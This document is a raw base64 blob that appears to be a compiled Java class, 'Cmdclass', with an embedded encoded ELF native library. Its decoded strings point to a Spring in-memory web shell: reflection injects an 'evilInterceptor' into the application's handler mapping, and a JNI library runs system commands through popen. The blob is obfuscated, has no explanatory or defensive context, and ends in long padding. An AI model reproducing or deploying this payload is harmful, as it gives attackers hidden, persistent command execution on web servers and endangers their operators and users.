BAAg8Y2xpbml0PgEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEACGpuaUJ5dGVzAQACW0IBABByYW5kb21BY2Nlc3NGaWxlAQAaTGphdmEvaW8vUmFuZG9tQWNjZXNzRmlsZTsBAAljbWRMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAEGNsYXNzTG9hZGVyQ2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAEm5hdGl2ZUxpYnJhcnlDbGF6egEABGxvYWQBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAD25hdGl2ZUxpYnJhcmllcwEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAARsaWJzAQASTGphdmEvdXRpbC9WZWN0b3I7AQARbmF0aXZlTGlicmFyeUNvbnMBAB9MamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAQbmF0aXZlTGlicmFyeU9iagEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAVbWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmc7AQAFZmllbGQBABFhZGFwdEludGVyY2VwdG9ycwEAEExqYXZhL3V0aWwvTGlzdDsBAA9ldmlsSW50ZXJjZXB0b3IBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBACZMamF2YS91dGlsL1ZlY3RvcjxMamF2YS9sYW5nL09iamVjdDs+OwEAIkxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsBAEZMamF2YS91dGlsL0xpc3Q8TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yOz47BwCEBwDNBwD+BwDWBwD/BwEABwDgBwEBBwDuBwDvBwDzBwD0BwD1AQAKU291cmNlRmlsZQEADUNtZGNsYXNzLmphdmEMAEsATAcA+wwBAgBTAQADZ2JrBwD8DAEDAQQMAQUBBgwAUgBTBwEHDAEIAQQMAQkATAwBCgBMAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBCwBMDABqAGsMAG4AbwFTAGYwVk1SZ0lCQVFBQUFBQUFBQUFBQUFNQVBnQUJBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBTUEyQUFBQUFBQUFBQUFBQUVBQU9BQUxBRUFBSGdBZEFBRUFBQUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBOEFZQUFBQUFBQUR3QmdBQUFBQUFBQUFRQUFBQUFBQUFBUUFBQUFVQUFBQUFFQUFBQUFBQUFBQVFBQUFBQUFBQUFCQUFBQUFBQUFEQkJBQUFBQUFBQU1FRUFBQUFBQUFBQUJBQUFBQUFBQUFCQUFBQUJBQUFBQUFnQUFBQUFBQUFBQ0FBQUFBQUFBQUFJQUFBQUFBQUFPd0FBQUFBQUFBQTdBQUFBQUFBQUFBQUVBQUFBQUFBQUFFQUFBQUdBQUFBRUM0QUFBQUFBQUFRUGdBQUFBQUFBQkErQUFBQUFBQUFVQUlBQUFBQUFBQllBZ0FBQUFBQUFBQVFBQUFBQUFBQUFnQUFBQVlBQUFBZ0xnQUFBQUFBQUNBK0FBQUFBQUFBSUQ0QUFBQUFBQURBQVFBQUFBQUFBTUFCQUFBQUFBQUFDQUFBQUFBQUFBQUVBQUFBQkFBQUFLZ0NBQUFBQUFBQXFBSUFBQUFBQUFDb0FnQUFBQUFBQUNBQUFBQUFBQUFBSUFBQUFBQUFBQUFJQUFBQUFBQUFBQVFBQUFBRUFBQUF5QUlBQUFBQUFBRElBZ0FBQUFBQUFNZ0NBQUFBQUFBQUpBQUFBQUFBQUFBa0FBQUFBQUFBQUFRQUFBQUFBQUFBVStWMFpBUUFBQUNvQWdBQUFBQUFBS2dDQUFBQUFBQUFxQUlBQUFBQUFBQWdBQUFBQUFBQUFDQUFBQUFBQUFBQUNBQUFBQUFBQUFCUTVYUmtCQUFBQUFRZ0FBQUFBQUFBQkNBQUFBQUFBQUFFSUFBQUFBQUFBRFFBQUFBQUFBQUFOQUFBQUFBQUFBQUVBQUFBQUFBQUFGSGxkR1FHQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFVdVYwWkFRQUFBQVFMZ0FBQUFBQUFCQStBQUFBQUFBQUVENEFBQUFBQUFEd0FRQUFBQUFBQVBBQkFBQUFBQUFBQVFBQUFBQUFBQUFFQUFBQUVBQUFBQVVBQUFCSFRsVUFBZ0FBd0FRQUFBQURBQUFBQUFBQUFBUUFBQUFVQUFBQUF3QUFBRWRPVlFEVWM5Y2ZUbTZvMHhtakFEOE4yenVBbVNKYnZBQUFBQUFDQUFBQURBQUFBQUVBQUFBR0FBQUFEQUFBUUFBQUFBQU1BQUFBQUFBQUFON0F2NEdESit5UkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFkQUFBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWJRQUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBcHdBQUFCSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFXd0FBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWFBQUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFWUUFBQUJJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlRQUFBQklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTEFBQUFDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSZ0FBQUNJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQW53QUFBQklBRGdENUVRQUFBQUFBQVBRQUFBQUFBQUFBaFFBQUFCSUFEZ0R0RWdBQUFBQUFBTVVCQUFBQUFBQUFBRjlmWjIxdmJsOXpkR0Z5ZEY5ZkFGOUpWRTFmWkdWeVpXZHBjM1JsY2xSTlEyeHZibVZVWVdKc1pRQmZTVlJOWDNKbFoybHpkR1Z5VkUxRGJHOXVaVlJoWW14bEFGOWZZM2hoWDJacGJtRnNhWHBsQUhCdmNHVnVBR1puWlhSekFITjBjbU5oZEFCbVpXOW1BSEJqYkc5elpRQmZYM04wWVdOclgyTm9hMTltWVdsc0FFcGhkbUZmWTI5dFgycGhkbUZ6WldOZlEyMWtZMnhoYzNOZlpYaGxZME50WkFCdFpXMXpaWFFBYkdsaVl5NXpieTQyQUVkTVNVSkRYekl1TWk0MUFFZE1TVUpEWHpJdU5BQUFBQUVBQWdBREFBTUFBd0FEQUFFQUF3QURBQUVBQXdBQkFBRUFBQUFBQUFBQUFRQUNBSzRBQUFBUUFBQUFBQUFBQUhVYWFRa0FBQU1BdUFBQUFCQUFBQUFVYVdrTkFBQUNBTVFBQUFBQUFBQUFFRDRBQUFBQUFBQUlBQUFBQUFBQUFQQVJBQUFBQUFBQUdENEFBQUFBQUFBSUFBQUFBQUFBQUxBUkFBQUFBQUFBV0VBQUFBQUFBQUFJQUFBQUFBQUFBRmhBQUFBQUFBQUE0RDhBQUFBQUFBQUdBQUFBQVFBQUFBQUFBQUFBQUFBQTZEOEFBQUFBQUFBR0FBQUFCd0FBQUFBQUFBQUFBQUFBOEQ4QUFBQUFBQUFHQUFBQUNnQUFBQUFBQUFBQUFBQUErRDhBQUFBQUFBQUdBQUFBQ3dBQUFBQUFBQUFBQUFBQUdFQUFBQUFBQUFBSEFBQUFEQUFBQUFBQUFBQUFBQUFBSUVBQUFBQUFBQUFIQUFBQUFnQUFBQUFBQUFBQUFBQUFLRUFBQUFBQUFBQUhBQUFBQXdBQUFBQUFBQUFBQUFBQU1FQUFBQUFBQUFBSEFBQUFCQUFBQUFBQUFBQUFBQUFBT0VBQUFBQUFBQUFIQUFBQUJRQUFBQUFBQUFBQUFBQUFRRUFBQUFBQUFBQUhBQUFBQmdBQUFBQUFBQUFBQUFBQVNFQUFBQUFBQUFBSEFBQUFDQUFBQUFBQUFBQUFBQUFBVUVBQUFBQUFBQUFIQUFBQUNRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQTVBIdnBJZyt3SVNJc0YyUzhBQUVpRndIUUMvOUJJZzhRSXd3QUFBQUFBL3pYaUx3QUE4djhsNHk4QUFBOGZBUE1QSHZwb0FBQUFBUExwNGYvLy81RHpEeDc2YUFFQUFBRHk2ZEgvLy8rUTh3OGUrbWdDQUFBQTh1bkIvLy8va1BNUEh2cG9Bd0FBQVBMcHNmLy8vNUR6RHg3NmFBUUFBQUR5NmFILy8vK1E4dzhlK21nRkFBQUE4dW1SLy8vL2tQTVBIdnBvQmdBQUFQTHBnZi8vLzVEekR4NzZhQWNBQUFEeTZYSC8vLytROHc4ZSt2TC9KVDB2QUFBUEgwUUFBUE1QSHZyeS95Vk5Md0FBRHg5RUFBRHpEeDc2OHY4bFJTOEFBQThmUkFBQTh3OGUrdkwvSlQwdkFBQVBIMFFBQVBNUEh2cnkveVUxTHdBQUR4OUVBQUR6RHg3Njh2OGxMUzhBQUE4ZlJBQUE4dzhlK3ZML0pTVXZBQUFQSDBRQUFQTVBIdnJ5L3lVZEx3QUFEeDlFQUFEekR4NzY4djhsRlM4QUFBOGZSQUFBU0kwOUdTOEFBRWlOQlJJdkFBQklPZmgwRlVpTEJZWXVBQUJJaGNCMENmL2dEeCtBQUFBQUFNTVBINEFBQUFBQVNJMDk2UzRBQUVpTk5lSXVBQUJJS2Y1SWlmQkl3ZTQvU01INEEwZ0J4a2pSL25RVVNJc0ZWUzRBQUVpRndIUUkvK0JtRHg5RUFBREREeCtBQUFBQUFQTVBIdnFBUGFVdUFBQUFkU3RWU0lNOU1pNEFBQUJJaWVWMERFaUxQWVl1QUFEbzJmNy8vK2hrLy8vL3hnVjlMZ0FBQVYzRER4OEF3dzhmZ0FBQUFBRHpEeDc2NlhmLy8vL3pEeDc2VlVpSjVVaUI3QUFRQUFCSWd3d2tBRWlCN0FBUUFBQklnd3drQUVpQjdBQVFBQUJJZ3d3a0FFaUQ3REJJaWIzWXovLy9TSW0xME0vLy8yUklpd1FsS0FBQUFFaUpSZmd4d0VpTGhkalAvLzlJalJXc0RRQUFTSW5XU0luSDZNSCsvLzlJaVlYb3ovLy9TSU85Nk0vLy93QjFRTGdBQUFBQTYyQklpNVhvei8vL1NJMkY4TS8vLzc2QUFBQUFTSW5INkc3Ky8vOUloY0IwR1VpTmxmRFAvLzlJaTRYUXovLy9TSW5XU0luSDZJRCsvLzlJaTRYb3ovLy9TSW5INkZIKy8vK0Z3SFMwU0l1RjZNLy8vMGlKeCtnTy92Ly91QUVBQUFCSWkxWDRaRWdyRkNVb0FBQUFkQVhvNWYzLy84bkQ4dzhlK2xWSWllVklnZXdBRUFBQVNJTU1KQUJJZ2V3QUVBQUFTSU1NSkFCSWdld0FFQUFBU0lNTUpBQklnZXl3QUFBQVNJbTlhTS8vLzBpSnRXRFAvLzlJaVpWWXovLy9aRWlMQkNVb0FBQUFTSWxGK0RIQVNJdUZhTS8vLzBpTEFFeUxnRWdGQUFCSWk0MVl6Ly8vU0l1RmFNLy8vN29BQUFBQVNJbk9TSW5IUWYvUVNJbUZjTS8vLzBqSGhmRFAvLzhBQUFBQVNNZUYrTS8vL3dBQUFBQklqWVVBMFAvL3V2QXZBQUMrQUFBQUFFaUp4K2hKL2YvL1NJMlY4TS8vLzBpTGhYRFAvLzlJaWRaSWljZm9BUDMvLzBqSGhZRFAvLzhBQUFBQVNNZUZpTS8vL3dBQUFBQkl4NFdRei8vL0FBQUFBRWpIaFpqUC8vOEFBQUFBU01lRm9NLy8vd0FBQUFCSXg0V296Ly8vQUFBQUFFakhoYkRQLy84QUFBQUFTTWVGdU0vLy93QUFBQUJJeDRYQXovLy9BQUFBQUVqSGhjalAvLzhBQUFBQVNNZUYwTS8vL3dBQUFBQkl4NFhZei8vL0FBQUFBTWVGNE0vLy93QUFBQUJJalpYd3ovLy9TSTJGZ00vLy8waUoxa2lKeCtqSi9QLy9TSXVGYU0vLy8waUxBRWlMaURnRkFBQklqWldBei8vL1NJdUZhTS8vLzBpSjFraUp4Ly9SU0ltRmVNLy8vMGlMaFhqUC8vOUlpMVg0WkVnckZDVW9BQUFBZEFYb0lQei8vOG5EQUFEekR4NzZTSVBzQ0VpRHhBakRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF